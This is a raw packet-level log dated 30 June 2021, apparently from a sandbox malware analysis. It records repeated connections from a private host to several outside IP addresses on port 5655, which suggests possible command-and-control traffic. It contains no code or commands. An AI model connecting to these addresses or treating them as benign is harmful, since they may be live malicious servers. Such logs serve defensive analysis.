Jun 30, 2021 20:07:49.050242901 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:49.109651089 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:49.110634089 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:49.110742092 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:49.121603966 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:49.169382095 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:49.185467958 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:49.362634897 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:49.421658039 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:49.451453924 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:49.498224974 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:49.620686054 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:49.735652924 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:49.778907061 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:49.779970884 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:49.956430912 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:50.017699003 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:50.019552946 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:50.019706011 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:50.021579027 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:50.022599936 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:50.022699118 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:50.077321053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:07:50.077356100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:07:50.138684034 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:50.315748930 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:50.357305050 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:50.373620033 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:50.419540882 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:50.421582937 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:50.421681881 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:07:50.534480095 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:51.716162920 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:51.716193914 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:51.716366053 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:07:51.958013058 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:52.153316975 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:52.153568029 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:52.155132055 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:52.155249119 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:52.350198984 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:52.353718996 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:52.353744984 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:52.358230114 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:52.580003023 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:52.580033064 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:52.580111980 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:52.760334969 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:52.760615110 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:52.760660887 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:52.936774015 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:52.957130909 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:53.059165001 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:53.059197903 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:53.059912920 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:53.134505987 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:53.134833097 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:53.376770973 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:53.507765055 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:53.507793903 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:53.508634090 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:53.512200117 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:53.512442112 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:53.708950043 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:53.886305094 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:53.886334896 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:53.886576891 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:54.420260906 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:54.420409918 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:54.420619965 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:54.420785904 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:54.617459059 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:54.617494106 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:56.858889103 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:57.055248976 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:57.055275917 CEST	5655	49749	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:57.055330992 CEST	49749	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:57.678337097 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:57.678363085 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:57.678478956 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:07:57.789367914 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:57.985125065 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:57.985343933 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:57.986706972 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:57.986819983 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:58.181801081 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:58.185518980 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:58.185538054 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:58.187515020 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:58.593503952 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:58.593532085 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:58.593857050 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:59.540245056 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:59.547943115 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:59.548033953 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:59.548178911 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:59.548252106 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:07:59.551418066 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:59.551439047 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:59.551513910 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:07:59.744900942 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:59.922035933 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:07:59.922396898 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:00.174015999 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:00.294945955 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:00.294991016 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:00.296842098 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:00.311641932 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:00.564718962 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:00.684165955 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:00.733043909 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:01.030105114 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:01.286619902 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:01.402446985 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:01.451658010 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:01.733772039 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:01.974250078 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:02.106477976 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:02.154882908 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:02.422139883 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:02.422498941 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:02.617289066 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:02.794687033 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:02.842406034 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:03.124022007 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:03.373084068 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:03.496239901 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:03.545671940 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:03.811999083 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:04.064301968 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:04.184257030 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:04.184293985 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:04.186362028 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:04.506838083 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:04.751991987 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:04.879179001 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:04.920753956 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:05.202647924 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:05.458632946 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:05.575166941 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:05.639527082 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:05.984435081 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:06.224941969 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:06.356838942 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:06.405284882 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:07.538481951 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:07.792298079 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:07.910825014 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:07.952352047 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:08.218802929 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:08.219163895 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:08.414482117 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:08.591370106 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:08.639863014 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:08.906555891 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:09.155275106 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:09.282744884 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:09.327954054 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:09.594271898 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:09.595062017 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:09.670419931 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:08:09.670494080 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:08:09.791661978 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:09.968858957 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:10.014935970 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:10.281491041 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:10.281832933 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:10.478425026 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:10.654844046 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:10.702442884 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:10.969692945 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:11.222584963 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:11.345906973 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:11.389993906 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:11.657723904 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:11.894330978 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:12.029927015 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:12.077600002 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:12.344640017 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:12.583426952 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:12.716954947 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:12.717005968 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:12.718038082 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:13.031732082 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:13.279822111 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:13.405229092 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:13.452790022 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:13.719291925 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:13.965291977 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:14.092864037 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:14.140361071 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:14.407005072 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:14.668488026 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:14.784548998 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:14.827883959 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:15.094508886 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:15.345896006 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:15.471246004 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:15.471272945 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:15.475246906 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:15.812469006 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:16.062849045 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:16.186629057 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:16.234132051 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:16.500396013 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:16.640158892 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:08:16.640188932 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:08:16.640270948 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:08:16.755491018 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:16.787372112 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:16.874445915 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:16.922343016 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:16.985393047 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:16.987159967 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:16.987199068 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:16.987231970 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:17.186610937 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:17.188061953 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:17.188417912 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:17.188453913 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:17.189117908 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:17.427192926 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:17.562436104 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:17.609519005 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:17.906353951 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:17.979531050 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:17.980079889 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:17.980851889 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:18.149840117 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:18.267280102 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:18.267627954 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:18.267652988 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:18.278806925 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:18.328107119 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:18.463351011 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:18.594296932 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:18.640263081 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:18.641901970 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:18.840182066 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:18.899712086 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:18.970326900 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:19.015891075 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:19.015974045 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:19.016000986 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:19.022627115 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:19.033524990 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:19.274221897 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:19.298072100 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:19.406584978 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:19.414041996 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:19.414084911 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:19.541486025 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:19.610414982 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:19.671426058 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:19.718831062 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:19.938191891 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:19.985004902 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:20.183195114 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:20.231151104 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:20.317657948 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:20.357820034 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:20.357853889 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:20.357974052 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:20.363358021 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:20.672748089 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:20.917840004 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:21.047723055 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:21.094014883 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:21.391027927 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:21.636482000 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:21.763374090 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:21.812774897 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:22.080137014 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:22.321167946 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:22.327600002 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:22.375392914 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:22.452439070 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:22.500432968 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:22.766887903 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:22.907613993 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:23.003941059 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:23.140069962 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:23.147972107 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:23.188005924 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:23.454267025 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:23.707052946 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:23.828835011 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:23.877372980 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:23.906889915 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.161787987 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.173382044 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.251054049 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.315090895 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:08:24.315131903 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:08:24.315253973 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:08:24.330616951 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.375530005 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.428483009 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.446146011 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.446178913 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.446250916 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.446263075 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.446280956 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.446304083 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.446337938 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.446415901 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.547034979 CEST	5655	49751	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.594301939 CEST	49751	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.623809099 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.641423941 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.641458988 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.641474962 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.641537905 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.641607046 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.641735077 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.641748905 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.641762018 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.641922951 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.641992092 CEST	49753	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.739893913 CEST	49755	5655	192.168.2.3	198.147.28.34
Jun 30, 2021 20:08:24.839219093 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.839247942 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.839257956 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.839267015 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.839322090 CEST	5655	49753	198.147.28.34	192.168.2.3
Jun 30, 2021 20:08:24.839543104 CEST	49753	5655	192.168.2.3	198.147.28.34
